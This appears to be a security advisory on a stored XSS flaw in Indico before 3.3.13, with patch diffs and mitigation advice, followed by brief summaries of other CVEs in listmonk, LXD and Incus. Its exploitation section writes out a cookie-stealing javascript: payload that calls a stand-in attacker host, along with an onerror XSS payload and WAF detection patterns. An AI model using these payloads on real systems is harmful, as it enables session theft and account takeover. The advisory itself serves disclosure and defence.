Oct 9, 2026·6 min read·18 visits
Stored XSS in Indico prior to 3.3.13 allows authenticated users to inject malicious URLs and scripts into custom links and event notes, executing in the context of victims' browsers.
A stored Cross-Site Scripting (XSS) vulnerability was identified in Indico, an open-source event management system developed at CERN, prior to version 3.3.13. The vulnerability stems from weak URL validation in custom link fields and lack of HTML sanitization during Marshmallow serialization of event notes. This allows authenticated attackers with event modification privileges to inject malicious payloads that execute in the browser of users viewing the event pages or collaborating on notes.
Indico is an open-source event management system developed at CERN, widely used for organizing conferences, workshops, and meetings. The platform supports complex workflows including registration, abstract submission, timetable scheduling, and collaborative document editing. To support these workflows, Indico allows organizers, submitters, and speakers to attach custom resources, define navigation menus, and collaboratively compile event minutes.\n\nPrior to version 3.3.13, Indico's input validation and data serialization layers suffered from weaknesses that exposed the platform to stored Cross-Site Scripting (XSS). Specifically, multiple fields that accept custom URLs did not validate the protocol scheme, and the collaborative notes compilation system failed to sanitize HTML content during data serialization.\n\nThese vulnerabilities allowed authenticated users with low privileges to store malicious payloads inside the application database. When other users, including administrators, view the affected event pages, click the poisoned links, or engage in concurrent document editing, the payload executes in their browser context under the origin of the Indico application. This can result in session takeover, unauthorized administrative actions, or exposure of confidential event metadata.
The vulnerability stems from two independent flaws in the application's input processing and output serialization pipelines, cataloged under CWE-692 (Incomplete Denylist to Cross-Site Scripting).\n\nThe first flaw resides in the input forms for custom links, such as event menu links (MenuLinkForm) and attachments (AttachmentLinkFormMixin). While these forms utilize WTForms' URLField, they did not enforce the URL() validator or restrict acceptable schemes. Consequently, the backend accepted any string as a valid URL. When rendering these fields in HTML templates, the application placed the raw URL directly into the href attribute of an anchor tag. Since there was no allowlist restricting protocols to http:// or https://, an attacker could inject pseudo-protocols like javascript: or data:. When a victim clicks the link, the browser executes the script immediately.\n\nThe second flaw is located in the serialization pipeline of the event notes module. Indico utilizes Marshmallow schemas (EventNoteSchema and CompiledEventNoteSchema) to serialize event minutes before sending them to the frontend during concurrent editing and conflict resolution. The application failed to apply HTML sanitization to the serialized outputs during the serialization process. If an attacker injected malicious HTML tags (such as <img src=x onerror=...> or <iframe src=...> with execution vectors), the unsanitized HTML was transmitted over the API and rendered raw in the collaborator's browser.
An analysis of the patch in commit d4c8c7127176efa4cb53c64119ca8ee2b551be18 demonstrates how both vulnerability vectors were addressed.\n\nIn indico/modules/attachments/forms.py, the URL validator was added to link_url to enforce syntactically valid URLs:\n\npython\n# Vulnerable code\nclass AttachmentLinkFormMixin:\n title = StringField(_('Title'), [DataRequired()])\n link_url = URLField(_('URL'), [DataRequired()])\n\n# Patched code\nfrom wtforms.validators import URL, DataRequired, Optional, ValidationError\n\nclass AttachmentLinkFormMixin:\n title = StringField(_('Title'), [DataRequired()])\n link_url = URLField(_('URL'), [DataRequired(), URL()]) # Enforces valid URL format\n\n\nFor multi-link fields in indico/web/forms/fields/simple.py, a strict protocol prefix check was introduced to block dangerous pseudo-protocols:\n\npython\n# Vulnerable code\ndef pre_validate(self, form):\n if not all(x.get('url') for x in self.data):\n raise ValidationError(_('URL is required'))\n\n# Patched code\ndef pre_validate(self, form):\n if not all(x.get('url') for x in self.data):\n raise ValidationError(_('URL is required'))\n # Enforce safe URL schemes (http and https only)\n if not all(x['url'].startswith(('http://', 'https://')) for x in self.data):\n raise ValidationError(_('Only URLs starting with https:// (or http://) are allowed'))\n\n\nTo secure the notes collaborative editing pipeline, the developers integrated a @post_dump hook within the Marshmallow schemas to perform HTML sanitization on the serialized data before it is returned to the client:\n\npython\n# Patched indico/modules/events/notes/schemas.py\nfrom marshmallow import post_dump\nfrom indico.core.marshmallow import fields, mm\nfrom indico.modules.events.notes.models.notes import EventNoteRevision\nfrom indico.util.string import sanitize_html\n\nclass EventNoteSchema(mm.SQLAlchemyAutoSchema):\n class Meta:\n model = EventNote\n fields = ('id', 'html', 'note_author')\n\n note_author = fields.String(attribute='user.full_name')\n\n @post_dump\n def _sanitize_html(self, data, **kwargs):\n # Strip unsafe elements like onerror, script tags from HTML string\n data['html'] = sanitize_html(data['html'])\n return data\n
Exploiting the first vector requires an attacker to possess privileges to add links, such as creating an event layout menu item or adding an attachment to a meeting. The attacker navigates to the event creation or modification dashboard, selects 'Add Link', and enters a payload instead of a standard URL, such as javascript:fetch('https://attacker.com/steal?c='+btoa(document.cookie)). Once submitted, the payload is permanently stored in the Indico database. When an administrative or standard user visits the page and clicks on the link, the browser executes the JavaScript, sending the session cookies to the attacker's server.\n\nExploiting the second vector requires editing event minutes or notes. The attacker embeds a malicious HTML string, such as <img src=\"invalid-image\" onerror=\"alert(document.domain)\">, inside the markdown or HTML source editor. If another editor makes concurrent modifications, triggering a merge conflict, the backend serializes the raw HTML using the vulnerable schema. The client browser renders the merge interface, evaluates the unsanitized HTML, and fires the onerror event handler, triggering JavaScript execution.\n\nThese exploitation mechanisms can be represented as follows:\n\nmermaid\ngraph LR\n Attacker[\"Attacker with Low Privileges\"] -->|\"1. Inject javascript: payload\"| IndicoDB[(\"Indico Database\")]\n Victim[\"Victim/Admin User\"] -->|\"2. Click Link / View Note\"| IndicoDB\n IndicoDB -->|\"3. Render raw payload in href/HTML\"| Victim\n Victim -->|\"4. Send Session Cookie\"| AttackerC2[\"Attacker C2 Server\"]\n
The impact of this vulnerability is classified as Medium (CVSS 5.4). Since the exploit runs client-side under the domain origin of the Indico instance, the attacker inherits the security context of the victim's active session. If an administrator clicks a malicious link, the attacker can execute administrative APIs on their behalf, potentially modifying site configurations, granting administrative privileges to arbitrary accounts, or downloading restricted event records.\n\nAdditionally, because Indico is often integrated with external single sign-on (SSO) systems (such as CERN's SSO via Flask-Multipass), compromising an Indico session can provide attackers with pivot vectors into wider corporate environments depending on the configuration and scope of session cookies.\n\nThe requirement of user interaction (clicking the link or interacting with the note merger) and low privilege requirements mitigate the overall severity from high to medium. However, because the payload is stored and can target high-value administrative accounts, its operational impact remains high.
The primary remediation for CVE-2026-107396 is upgrading the Indico instance to version 3.3.13 or later. The update introduces input sanitization and forces scheme checks on all custom URL fields.\n\nIf an immediate upgrade is not feasible, organizations can implement several mitigation strategies to neutralize the vulnerability. First, configure a strict Content Security Policy (CSP) header. By ensuring that 'unsafe-inline' is not present in the script-src directive, browsers will refuse to execute inline scripts or pseudo-protocols like javascript: even if they are successfully injected into the document body.\n\nSecond, implement Web Application Firewall (WAF) or Nginx reverse proxy filtering rules to detect and reject requests containing the javascript: prefix or unsafe HTML elements inside fields targeting layout or attachment API endpoints. For example, requests containing javascript\s*: or onerror\s*= in POST bodies can be blocked with a 403 Forbidden response.\n\nLastly, restrict attachment and layout modification permissions to trusted users to reduce the internal threat surface. Ensure that only verified event organizers and system administrators can add attachments or modify menu links.
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Indico CERN | < 3.3.13 | 3.3.13 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-692 |
| Attack Vector | Network (AV:N) |
| CVSS Score | 5.4 (Medium) |
| EPSS Score | N/A |
| Exploit Status | PoC (Proof of Concept) |
| CISA KEV Status | Not Listed |
The application attempts to prevent malicious payloads by enforcing partial validations, but fails to restrict URL protocols to an explicit, safe allowlist, permitting dangerous schemes like javascript: and data:.
CVE-2026-62361 (GHSA-xgjr-7j9q-2h4r) is an authenticated SQL injection and authorization bypass vulnerability in listmonk, an open-source, self-hosted newsletter and mailing list manager written in Go. In versions prior to 6.2.0, the subscriber export endpoint (GET /api/subscribers/export) directly interpolates user-supplied SQL filter expressions into a PostgreSQL query without invoking the table allowlist validation function (validateQueryTables). Consequently, authenticated users possessing the subscribers:sql_query and subscribers:get_all permissions can bypass relational access controls, execute arbitrary subqueries against restricted tables such as users and settings, and modify database state via writable Common Table Expressions (CTEs).
CVE-2026-28385 (GHSA-3gq2-x4qg-p4g6) is a Server-Side Request Forgery (SSRF) vulnerability in Canonical LXD versions 4.12 through 6.9. An authenticated user possessing the can_create_images entitlement can force the LXD daemon to execute arbitrary outbound HTTP and HTTPS requests via the /1.0/images API endpoint. Due to the absence of egress destination validation, an attacker can probe host loopback services, RFC 1918 private network segments, and cloud Instance Metadata Services (IMDS) from the network position of the privileged LXD daemon.
Canonical LXD and LXC Incus contain an arbitrary file write vulnerability (CWE-73 / CWE-59) in the `/1.0/instances/<name>/exec` REST API endpoint. When an instance is unpacked from an image archive, top-level symbolic links are extracted directly onto the host filesystem within the instance storage directory. If a crafted image includes a symbolic link named `exec-output` pointing to an arbitrary host path, invoking the execution endpoint with `record-output: true` causes the privileged host daemon to follow the symlink and write command output files directly to the target host directory. An authenticated attacker with permissions to import images and execute commands can exploit this flaw to write controlled content to sensitive host directories such as `/etc/cron.d`, resulting in arbitrary code execution on the host as `root`.
CVE-2026-48749 (tracked as GHSA-vghh-5rfx-xhq8 for LXD and GHSA-2q3f-q5pq-g8wv for Incus) is a critical container escape vulnerability in the Canonical LXD and Linux Containers Incus system container managers. By importing a specially crafted container image archive containing duplicate tar member headers, an authenticated attacker can replace the instance rootfs directory with a symbolic link pointing to the underlying host root filesystem. When performing file operations on a stopped container, the privileged forkfile helper binary resolves the symbolic link without confinement and chroots directly into the host filesystem, granting arbitrary root-level file read and write access.
GHSA-fmc8-p6q7-75cc (associated with CVE-2026-48755) is a critical argument injection vulnerability in Canonical LXD (github.com/canonical/lxd). The vulnerability occurs during instance and storage volume backup operations when processing the user-supplied compression_algorithm configuration parameter. While LXD validates the primary executable token against an allowlist of supported compression binaries, it fails to sanitize or restrict subsequent tokens parsed via shellquote.Split. These additional arguments are passed directly to exec.Command. An authenticated attacker with privileges to trigger backups can inject command-line flags for utilities like zstd to read staged files from a container filesystem and write them to arbitrary paths on the underlying host filesystem, such as /etc/cron.d/, achieving root-level arbitrary code execution on the host.
A critical path traversal vulnerability caused by improper input validation (CWE-20) exists in the direct image download handler of Canonical LXD and Linux Containers Incus. When an authenticated user requests an image import using the URL source type, the daemon reads the image fingerprint from an untrusted HTTP response header (`Incus-Image-Hash` or `LXD-Image-Hash`) without validating that it conforms to a SHA-256 format. This unvalidated string is concatenated directly into a filesystem path via `filepath.Join` prior to file creation and cryptographic verification, allowing directory traversal sequences to write arbitrary files on the host filesystem as root.